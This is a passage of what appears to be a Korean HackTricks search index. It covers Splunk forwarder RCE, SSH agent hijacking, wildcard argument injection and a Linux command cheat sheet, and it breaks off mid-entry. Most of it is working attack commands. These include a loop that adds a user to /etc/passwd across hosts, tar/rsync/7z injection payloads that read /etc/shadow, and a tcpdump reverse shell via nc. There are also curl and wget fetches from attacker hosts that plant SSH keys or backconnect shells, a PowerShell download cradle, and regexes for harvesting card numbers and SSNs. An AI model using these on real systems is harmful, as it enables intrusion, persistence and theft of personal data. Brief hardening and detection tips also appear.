이것은 요약입니다: 취약점 개요: Splunk Universal Forwarder Agent (UF)를 대상으로 하는 취약점은 공격자가 에이전트 비밀번호를 사용하여 에이전트를 실행하는 시스템에서 임의의 코드를 실행할 수 있게 하여 전체 네트워크를 위험에 빠뜨릴 수 있습니다. 주요 사항: UF 에이전트는 들어오는 연결이나 코드의 진위를 검증하지 않으므로 무단 코드 실행에 취약합니다. 일반적인 비밀번호 획득 방법에는 네트워크 디렉토리, 파일 공유 또는 내부 문서에서 찾는 것이 포함됩니다. 성공적인 취약점 악용은 손상된 호스트에서 SYSTEM 또는 루트 수준의 접근, 데이터 유출 및 추가 네트워크 침투로 이어질 수 있습니다. 취약점 실행: 공격자가 UF 에이전트 비밀번호를 획득합니다. Splunk API를 사용하여 에이전트에 명령이나 스크립트를 전송합니다. 가능한 작업에는 파일 추출, 사용자 계정 조작 및 시스템 손상이 포함됩니다. 영향: 각 호스트에서 SYSTEM/루트 수준의 권한으로 전체 네트워크가 손상됩니다. 탐지를 피하기 위해 로깅을 비활성화할 가능성. 백도어 또는 랜섬웨어 설치. 취약점 악용을 위한 예제 명령: bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password \\"12345678\\" --payload \\"echo \'attacker007:x:1003:1003::/home/:/bin/bash\' >> /etc/passwd\\" --lhost 192.168.42.51;done 사용 가능한 공개 익스플로잇: https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 https://www.exploit-db.com/exploits/46238 https://www.exploit-db.com/exploits/46487","breadcrumbs":"Linux Privilege Escalation » Splunk LPE and Persistence » Splunk Universal Forwarder Agent 취약점 요약","id":"1900","title":"Splunk Universal Forwarder Agent 취약점 요약"},"1901":{"body":"자세한 내용은 https://blog.hrncirik.net/cve-2023-46214-analysis 게시물을 확인하세요. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Splunk LPE and Persistence » Splunk 쿼리 악용","id":"1901","title":"Splunk 쿼리 악용"},"1902":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. /etc/ssh_config 또는 $HOME/.ssh/config 구성에서 다음과 같은 내용을 발견하면 어떻게 해야 합니까: ForwardAgent yes 기계 내부에서 root 권한이 있다면, /tmp 디렉토리에서 찾을 수 있는 모든 에이전트가 만든 ssh 연결에 접근할 수 있습니다. Bob의 ssh-agent 중 하나를 사용하여 Bob으로 가장하기: bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston","breadcrumbs":"Linux Privilege Escalation » SSH Forward Agent exploitation » 요약","id":"1902","title":"요약"},"1903":{"body":"변수 SSH_AUTH_SOCK를 설정하면 Bob의 ssh 연결에 사용된 키에 접근하게 됩니다. 그런 다음, 그의 개인 키가 여전히 존재한다면(보통은 존재합니다), 이를 사용하여 어떤 호스트에도 접근할 수 있습니다. 개인 키가 에이전트의 메모리에 암호화되지 않은 상태로 저장되기 때문에, 만약 당신이 Bob이지만 개인 키의 비밀번호를 모른다면, 여전히 에이전트에 접근하고 이를 사용할 수 있을 것입니다. 또 다른 옵션은, 에이전트의 소유자와 root가 에이전트의 메모리에 접근하여 개인 키를 추출할 수 있다는 것입니다.","breadcrumbs":"Linux Privilege Escalation » SSH Forward Agent exploitation » 왜 이게 작동하나요?","id":"1903","title":"왜 이게 작동하나요?"},"1904":{"body":"원본 연구를 여기서 확인하세요 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » SSH Forward Agent exploitation » 긴 설명 및 악용","id":"1904","title":"긴 설명 및 악용"},"1905":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Wildcard (aka glob ) 인수 주입 은 특권 스크립트가 tar, chown, rsync, zip, 7z와 같은 Unix 바이너리를 인용되지 않은 와일드카드 *와 함께 실행할 때 발생합니다. 셸이 바이너리를 실행하기 전에 와일드카드를 확장하기 때문에, 작업 디렉토리에 파일을 생성할 수 있는 공격자는 -로 시작하는 파일 이름을 만들어서 데이터 대신 옵션 으로 해석되도록 할 수 있으며, 이를 통해 임의의 플래그나 심지어 명령을 밀어넣을 수 있습니다. 이 페이지는 2023-2025년을 위한 가장 유용한 원시 요소, 최근 연구 및 현대 탐지를 수집합니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » Wildcards Spare Tricks","id":"1905","title":"Wildcards Spare Tricks"},"1906":{"body":"--reference 플래그를 악용하여 임의 파일의 소유자/그룹 또는 권한 비트를 복사할 수 있습니다 : bash # attacker-controlled directory\\ntouch \\"--reference=/root/secret``file\\" # ← filename becomes an argument 루트가 나중에 다음과 같은 것을 실행할 때: bash chown -R alice:alice *.php\\nchmod -R 644 *.php --reference=/root/secret``file가 주입되어, 모든 일치하는 파일이 /root/secret``file의 소유권/권한을 상속받습니다. PoC & tool : wildpwn (결합 공격). 자세한 내용은 고전 DefenseCode 논문을 참조하십시오.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » chown / chmod","id":"1906","title":"chown / chmod"},"1907":{"body":"","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » tar","id":"1907","title":"tar"},"1908":{"body":"checkpoint 기능을 악용하여 임의의 명령을 실행합니다: bash # attacker-controlled directory\\necho \'echo pwned > /tmp/pwn\' > shell.sh\\nchmod +x shell.sh\\ntouch \\"--checkpoint=1\\"\\ntouch \\"--checkpoint-action=exec=sh shell.sh\\" 루트가 예를 들어 tar -czf /root/backup.tgz *를 실행하면, shell.sh가 루트로 실행됩니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » GNU tar (Linux, *BSD, busybox-full)","id":"1908","title":"GNU tar (Linux, *BSD, busybox-full)"},"1909":{"body":"최근 macOS의 기본 tar( libarchive 기반)는 --checkpoint를 구현하지 않지만, 외부 압축기를 지정할 수 있는 --use-compress-program 플래그를 사용하여 여전히 코드 실행을 달성할 수 있습니다. bash # macOS example\\ntouch \\"--use-compress-program=/bin/sh\\" 특권 스크립트가 tar -cf backup.tar *를 실행하면 /bin/sh가 시작됩니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » bsdtar / macOS 14+","id":"1909","title":"bsdtar / macOS 14+"},"191":{"body":"DNS-SD는 특정 도메인 이름(예: _printers._tcp.local)을 쿼리하여 네트워크에서 서비스를 발견하는 프로토콜입니다. 응답에는 이 경우 사용 가능한 프린터와 같은 모든 관련 도메인이 포함됩니다. 서비스 유형의 포괄적인 목록은 여기 에서 확인할 수 있습니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » DNS-SD (서비스 검색)","id":"191","title":"DNS-SD (서비스 검색)"},"1910":{"body":"rsync는 -e 또는 --rsync-path로 시작하는 명령줄 플래그를 통해 원격 셸 또는 원격 바이너리를 재정의할 수 있게 해줍니다. bash # attacker-controlled directory\\ntouch \\"-e sh shell.sh\\" # -e => use instead of ssh 루트가 나중에 rsync -az * backup:/srv/로 디렉토리를 아카이브하면, 주입된 플래그가 원격 측에서 당신의 셸을 생성합니다. PoC : wildpwn (rsync 모드).","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » rsync","id":"1910","title":"rsync"},"1911":{"body":"특권 스크립트가 와일드카드를 --로 방어적으로 접두어를 붙여 옵션 파싱을 중지하더라도, 7-Zip 형식은 파일 이름을 @로 접두어를 붙여 파일 목록 파일 을 지원합니다. 이를 심볼릭 링크와 결합하면 임의 파일을 유출할 수 있습니다 : bash # directory writable by low-priv user\\ncd /path/controlled\\nln -s /etc/shadow root.txt # file we want to read\\ntouch @root.txt # tells 7z to use root.txt as file list 루트가 다음과 같은 명령을 실행하면: bash 7za a /backup/`date +%F`.7z -t7z -snl -- * 7-Zip는 root.txt (→ /etc/shadow)를 파일 목록으로 읽으려고 시도하며, stderr에 내용을 출력하며 중단됩니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » 7-Zip / 7z / 7za","id":"1911","title":"7-Zip / 7z / 7za"},"1912":{"body":"zip는 아카이브가 테스트될 때 시스템 셸에 그대로 전달되는 --unzip-command 플래그를 지원합니다: bash zip result.zip files -T --unzip-command \\"sh -c id\\" 플래그를 조작된 파일 이름을 통해 주입하고, 특권 백업 스크립트가 결과 파일에 대해 zip -T (아카이브 테스트)를 호출할 때까지 기다립니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » zip","id":"1912","title":"zip"},"1913":{"body":"다음 명령어는 현대 CTF와 실제 환경에서 남용되었습니다. 페이로드는 항상 와일드카드로 처리될 수 있는 쓰기 가능한 디렉토리 내의 파일 이름 으로 생성됩니다: 바이너리 남용할 플래그 효과 bsdtar --newer-mtime=@ → 임의의 @file 파일 내용 읽기 flock -c 명령 실행 git -c core.sshCommand= SSH를 통한 git의 명령 실행 scp -S ssh 대신 임의의 프로그램 실행 이러한 원시 기능은 tar/rsync/zip 고전보다 덜 일반적이지만, 사냥할 때 확인할 가치가 있습니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » 와일드카드 주입에 취약한 추가 바이너리 (2023-2025 빠른 목록)","id":"1913","title":"와일드카드 주입에 취약한 추가 바이너리 (2023-2025 빠른 목록)"},"1914":{"body":"제한된 셸 또는 공급업체 래퍼가 사용자 제어 필드(예: \\"파일 이름\\" 매개변수)를 엄격한 인용/검증 없이 연결하여 tcpdump 명령줄을 구성할 때, 추가 tcpdump 플래그를 밀어넣을 수 있습니다. -G (시간 기반 회전), -W (파일 수 제한), 및 -z (회전 후 명령)의 조합은 tcpdump를 실행하는 사용자(종종 장치에서 root)의 임의 명령 실행을 초래합니다. 전제 조건: tcpdump에 전달되는 argv에 영향을 줄 수 있습니다 (예: /debug/tcpdump --filter=... --file-name=와 같은 래퍼를 통해). 래퍼는 파일 이름 필드에서 공백이나 -로 시작하는 토큰을 정리하지 않습니다. 고전적인 PoC (쓰기 가능한 경로에서 리버스 셸 스크립트를 실행): sh # Reverse shell payload saved on the device (e.g., USB, tmpfs)\\ncat > /mnt/disk1_1/rce.sh <<\'EOF\'\\n#!/bin/sh\\nrm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f\\nEOF\\nchmod +x /mnt/disk1_1/rce.sh # Inject additional tcpdump flags via the unsafe \\"file name\\" field\\n/debug/tcpdump --filter=\\"udp port 1234\\" \\\\\\n--file-name=\\"test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh\\" # On the attacker host\\nnc -6 -lvnp 4444 &\\n# Then send any packet that matches the BPF to force a rotation\\nprintf x | nc -u -6 [victim_ipv6] 1234 세부사항: -G 1 -W 1는 첫 번째 일치하는 패킷 후 즉시 회전을 강제합니다. -z 는 회전당 한 번 포스트 회전 명령을 실행합니다. 많은 빌드가 을 실행합니다. 가 스크립트/인터프리터인 경우, 인수 처리가 페이로드와 일치하는지 확인하십시오. 제거할 수 없는 미디어 변형: 파일을 쓰기 위한 다른 원시 방법이 있는 경우(예: 출력 리디렉션을 허용하는 별도의 명령 래퍼), 스크립트를 알려진 경로에 놓고 플랫폼 의미에 따라 -z /bin/sh /path/script.sh 또는 -z /path/script.sh를 트리거하십시오. 일부 공급업체 래퍼는 공격자가 제어할 수 있는 위치로 회전합니다. 회전된 경로에 영향을 줄 수 있다면(심볼릭 링크/디렉토리 탐색), -z를 조정하여 외부 미디어 없이 완전히 제어하는 콘텐츠를 실행할 수 있습니다. 공급업체를 위한 강화 팁: 사용자 제어 문자열을 tcpdump(또는 어떤 도구)로 직접 전달하지 마십시오. 엄격한 허용 목록을 사용하십시오. 인용하고 검증하십시오. 래퍼에서 -z 기능을 노출하지 마십시오; tcpdump를 고정된 안전 템플릿으로 실행하고 추가 플래그를 완전히 허용하지 마십시오. tcpdump 권한을 낮추거나(cap_net_admin/cap_net_raw만) AppArmor/SELinux 격리와 함께 전용 비특권 사용자로 실행하십시오.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » tcpdump 회전 훅 (-G/-W/-z): 래퍼에서 argv 주입을 통한 RCE","id":"1914","title":"tcpdump 회전 훅 (-G/-W/-z): 래퍼에서 argv 주입을 통한 RCE"},"1915":{"body":"중요한 스크립트에서 셸 글로빙 비활성화 : set -f (set -o noglob)는 와일드카드 확장을 방지합니다. 인수 인용 또는 이스케이프 : tar -czf \\"$dst\\" -- *는 안전하지 않습니다 — find . -type f -print0 | xargs -0 tar -czf \\"$dst\\"를 선호하십시오. 명시적 경로 : 공격자가 -로 시작하는 형제 파일을 생성할 수 없도록 * 대신 /var/www/html/*.log를 사용하십시오. 최소 권한 : 가능한 경우 루트 대신 비특권 서비스 계정으로 백업/유지 관리 작업을 실행하십시오. 모니터링 : Elastic의 사전 구축된 규칙 Potential Shell via Wildcard Injection 은 tar --checkpoint=*, rsync -e*, 또는 zip --unzip-command 다음에 즉시 셸 자식 프로세스를 찾습니다. EQL 쿼리는 다른 EDR에 맞게 조정할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » 탐지 및 강화","id":"1915","title":"탐지 및 강화"},"1916":{"body":"Elastic Security – Potential Shell via Wildcard Injection Detected 규칙 (2025년 마지막 업데이트) Rutger Flohil – “macOS — Tar wildcard injection” (2024년 12월 18일) GTFOBins – tcpdump FiberGateway GR241AG – Full Exploit Chain tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Wildcards Spare tricks » 참조","id":"1916","title":"참조"},"1917":{"body":"Reading time: 12 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Useful Linux Commands » 유용한 리눅스 명령어","id":"1917","title":"유용한 리눅스 명령어"},"1918":{"body":"bash #Exfiltration using Base64\\nbase64 -w 0 file #Get HexDump without new lines\\nxxd -p boot12.bin | tr -d \'\\\\n\' #Add public key to authorized keys\\ncurl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys #Echo without new line and Hex\\necho -n -e #Count\\nwc -l #Lines\\nwc -c #Chars #Sort\\nsort -nr #Sort by number and then reverse\\ncat file | sort | uniq #Sort and delete duplicates #Replace in file\\nsed -i \'s/OLD/NEW/g\' path/file #Replace string inside a file #Download in RAM\\nwget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py\\nwget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm\\ncurl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py #Files used by network processes\\nlsof #Open files belonging to any process\\nlsof -p 3 #Open files used by the process\\nlsof -i #Files used by networks processes\\nlsof -i 4 #Files used by network IPv4 processes\\nlsof -i 6 #Files used by network IPv6 processes\\nlsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234\\nlsof +D /lib #Processes using files inside the indicated dir\\nlsof -i :80 #Files uses by networks processes\\nfuser -nv tcp 80 #Decompress\\ntar -xvzf /path/to/yourfile.tgz\\ntar -xvjf /path/to/yourfile.tbz\\nbzip2 -d /path/to/yourfile.bz2\\ntar jxf file.tar.bz2\\ngunzip /path/to/yourfile.gz\\nunzip file.zip\\n7z -x file.7z\\nsudo apt-get install xz-utils; unxz file.xz #Add new user\\nuseradd -p \'openssl passwd -1 \' hacker #Clipboard\\nxclip -sel c < cat file.txt #HTTP servers\\npython -m SimpleHTTPServer 80\\npython3 -m http.server\\nruby -rwebrick -e \\"WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start\\"\\nphp -S $ip:80 #Curl\\n#json data\\ncurl --header \\"Content-Type: application/json\\" --request POST --data \'{\\"password\\":\\"password\\", \\"username\\":\\"admin\\"}\' http://host:3000/endpoint\\n#Auth via JWT\\ncurl -X GET -H \'Authorization: Bearer \' http://host:3000/endpoint #Send Email\\nsendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content #DD copy hex bin file without first X (28) bytes\\ndd if=file.bin bs=28 skip=1 of=blob #Mount .vhd files (virtual hard drive)\\nsudo apt-get install libguestfs-tools\\nguestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd # ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys\\nssh-keyscan 10.10.10.101 # Openssl\\nopenssl s_client -connect 10.10.10.127:443 #Get the certificate from a server\\nopenssl x509 -in ca.cert.pem -text #Read certificate\\nopenssl genrsa -out newuser.key 2048 #Create new RSA2048 key\\nopenssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the \\"Organizatoin Name\\"(Fortune) and the \\"Common Name\\" (newuser@fortune.htb)\\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate\\nopenssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate\\nopenssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)\\n# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:\\nopenssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12\\n# Decrypt ssh key\\nopenssl rsa -in key.ssh.enc -out key.ssh\\n#Decrypt\\nopenssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz #Count number of instructions executed by a program, need a host based linux (not working in VM)\\nperf stat -x, -e instructions:u \\"ls\\" #Find trick for HTB, find files from 2018-12-12 to 2018-12-14\\nfind / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path \\"/proc/*\\" -not -path \\"/sys/*\\" -ls 2>/dev/null #Reconfigure timezone\\nsudo dpkg-reconfigure tzdata #Search from which package is a binary\\napt-file search /usr/bin/file #Needed: apt-get install apt-file #Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html\\necho \\"CIKUmMesGw==\\" | base64 -d | protoc --decode_raw #Set not removable bit\\nsudo chattr +i file.txt\\nsudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip\\n7z l file.zip","breadcrumbs":"Useful Linux Commands » 일반적인 Bash","id":"1918","title":"일반적인 Bash"},"1919":{"body":"bash #Base64 for Windows\\necho -n \\"IEX(New-Object Net.WebClient).downloadString(\'http://10.10.14.9:8000/9002.ps1\')\\" | iconv --to-code UTF-16LE | base64 -w0 #Exe compression\\nupx -9 nc.exe #Exe2bat\\nwine exe2bat.exe nc.exe nc.txt #Compile Windows python exploit to exe\\npip install pyinstaller\\nwget -O exploit.py http://www.exploit-db.com/download/31853\\npython pyinstaller.py --onefile exploit.py #Compile for windows\\n#sudo apt-get install gcc-mingw-w64-i686\\ni686-mingw32msvc-gcc -o executable useradd.c","breadcrumbs":"Useful Linux Commands » 윈도우용 Bash","id":"1919","title":"윈도우용 Bash"},"192":{"body":"SSDP는 네트워크 서비스 검색을 용이하게 하며 주로 UPnP에 의해 사용됩니다. 이는 UDP를 통해 포트 1900에서 멀티캐스트 주소를 사용하는 텍스트 기반 프로토콜입니다. IPv4의 경우 지정된 멀티캐스트 주소는 239.255.255.250입니다. SSDP의 기초는 HTTPU 로, UDP를 위한 HTTP의 확장입니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » SSDP (간단한 서비스 검색 프로토콜)","id":"192","title":"SSDP (간단한 서비스 검색 프로토콜)"},"1920":{"body":"bash #Extract emails from file\\ngrep -E -o \\"\\\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\\\.[A-Za-z]{2,6}\\\\b\\" file.txt #Extract valid IP addresses\\ngrep -E -o \\"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\" file.txt #Extract passwords\\ngrep -i \\"pwd\\\\|passw\\" file.txt #Extract users\\ngrep -i \\"user\\\\|invalid\\\\|authentication\\\\|login\\" file.txt # Extract hashes\\n#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})\\negrep -oE \'(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)\' *.txt | egrep -o \'[a-fA-F0-9]{32}\' > md5-hashes.txt\\n#Extract valid MySQL-Old hashes\\ngrep -e \\"[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}\\" *.txt > mysql-old-hashes.txt\\n#Extract blowfish hashes\\ngrep -e \\"$2a\\\\$\\\\08\\\\$(.){75}\\" *.txt > blowfish-hashes.txt\\n#Extract Joomla hashes\\negrep -o \\"([0-9a-zA-Z]{32}):(w{16,32})\\" *.txt > joomla.txt\\n#Extract VBulletin hashes\\negrep -o \\"([0-9a-zA-Z]{32}):(S{3,32})\\" *.txt > vbulletin.txt\\n#Extraxt phpBB3-MD5\\negrep -o \'$H$S{31}\' *.txt > phpBB3-md5.txt\\n#Extract Wordpress-MD5\\negrep -o \'$P$S{31}\' *.txt > wordpress-md5.txt\\n#Extract Drupal 7\\negrep -o \'$S$S{52}\' *.txt > drupal-7.txt\\n#Extract old Unix-md5\\negrep -o \'$1$w{8}S{22}\' *.txt > md5-unix-old.txt\\n#Extract md5-apr1\\negrep -o \'$apr1$w{8}S{22}\' *.txt > md5-apr1.txt\\n#Extract sha512crypt, SHA512(Unix)\\negrep -o \'$6$w{8}S{86}\' *.txt > sha512crypt.txt #Extract e-mails from text files\\ngrep -E -o \\"\\\\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\\\\b\\" *.txt > e-mails.txt #Extract HTTP URLs from text files\\ngrep http | grep -shoP \'http.*?[\\" >]\' *.txt > http-urls.txt\\n#For extracting HTTPS, FTP and other URL format use\\ngrep -E \'(((https|ftp|gopher)|mailto)[.:][^ >\\"\\t]*|www.[-a-z0-9.]+)[^ .,;\\t>\\">):]\' *.txt > urls.txt\\n#Note: if grep returns \\"Binary file (standard input) matches\\" use the following approaches # tr \'[\\\\000-\\\\011\\\\013-\\\\037177-377]\' \'.\' < *.log | grep -E \\"Your_Regex\\" OR # cat -v *.log | egrep -o \\"Your_Regex\\" #Extract Floating point numbers\\ngrep -E -o \\"^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$\\" *.txt > floats.txt # Extract credit card data\\n#Visa\\ngrep -E -o \\"4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}\\" *.txt > visa.txt\\n#MasterCard\\ngrep -E -o \\"5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}\\" *.txt > mastercard.txt\\n#American Express\\ngrep -E -o \\"\\\\b3[47][0-9]{13}\\\\b\\" *.txt > american-express.txt\\n#Diners Club\\ngrep -E -o \\"\\\\b3(?:0[0-5]|[68][0-9])[0-9]{11}\\\\b\\" *.txt > diners.txt\\n#Discover\\ngrep -E -o \\"6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}\\" *.txt > discover.txt\\n#JCB\\ngrep -E -o \\"\\\\b(?:2131|1800|35d{3})d{11}\\\\b\\" *.txt > jcb.txt\\n#AMEX\\ngrep -E -o \\"3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}\\" *.txt > amex.txt # Extract IDs\\n#Extract Social Security Number (SSN)\\ngrep -E -o \\"[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}\\" *.txt > ssn.txt\\n#Extract Indiana Driver License Number\\ngrep -E -o \\"[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}\\" *.txt > indiana-dln.txt\\n#Extract US Passport Cards\\ngrep -E -o \\"C0[0-9]{7}\\" *.txt > us-pass-card.txt\\n#Extract US Passport Number\\ngrep -E -o \\"[23][0-9]{8}\\" *.txt > us-pass-num.txt\\n#Extract US Phone Numberss\\ngrep -Po \'d{3}[s-_]?d{3}[s-_]?d{4}\' *.txt > us-phones.txt\\n#Extract ISBN Numbers\\negrep -a -o \\"\\\\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\\\\b\\" *.txt > isbn.txt","breadcrumbs":"Useful Linux Commands » 그렙스","id":"1920","title":"그렙스"},"1921":{"body":"bash # Find SUID set files.\\nfind / -perm /u=s -ls 2>/dev/null # Find SGID set files.\\nfind / -perm /g=s -ls 2>/dev/null # Found Readable directory and sort by time. (depth = 4)\\nfind / -type d -maxdepth 4 -readable -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r # Found Writable directory and sort by time. (depth = 10)\\nfind / -type d -maxdepth 10 -writable -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r # Or Found Own by Current User and sort by time. (depth = 10)\\nfind / -maxdepth 10 -user $(id -u) -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r # Or Found Own by Current Group ID and Sort by time. (depth = 10)\\nfind / -maxdepth 10 -group $(id -g) -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r # Found Newer files and sort by time. (depth = 5)\\nfind / -maxdepth 5 -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r | less # Found Newer files only and sort by time. (depth = 5)\\nfind / -maxdepth 5 -type f -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r | less # Found Newer directory only and sort by time. (depth = 